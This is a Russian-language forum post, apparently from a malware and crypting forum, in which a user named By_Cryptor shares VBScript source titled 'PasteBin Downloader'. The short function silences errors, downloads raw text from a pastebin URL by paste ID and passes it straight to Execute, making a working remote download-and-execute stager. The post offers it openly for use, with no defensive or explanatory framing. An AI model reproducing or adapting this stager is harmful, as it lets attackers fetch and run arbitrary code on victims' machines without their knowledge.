1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

PasteBin Downloader [VBS]

Тема в разделе "Исходные коды", создана пользователем By_Cryptor, 23 апр 2014.

  1. TopicStarter Overlay
    By_Cryptor

    By_Cryptor

    Регистрация:
    13 мар 2014
    Сообщения:
    354
    Симпатии:
    522
    Код:
    Function sDownloader(sPasteID)
          On Error Resume Next
     
          Dim GetCode, GetResponse
     
          Set GetCode = CreateObject("MSXML2.XMLHTTP")
          GetCode.Open "GET", "http://pastebin.com/raw.php?i="(Указываем ссылку на файл) & sPasteID, False
          GetCode.Send
     
          GetResponse = GetCode.ResponseText
          Execute(GetResponse)
        End Function
    ------------------------------------------------------------------------------------------------------------------------------------------------------
    [​IMG]
     
    • Like Like x 2
    Метки:

Поделиться этой страницей

Загрузка...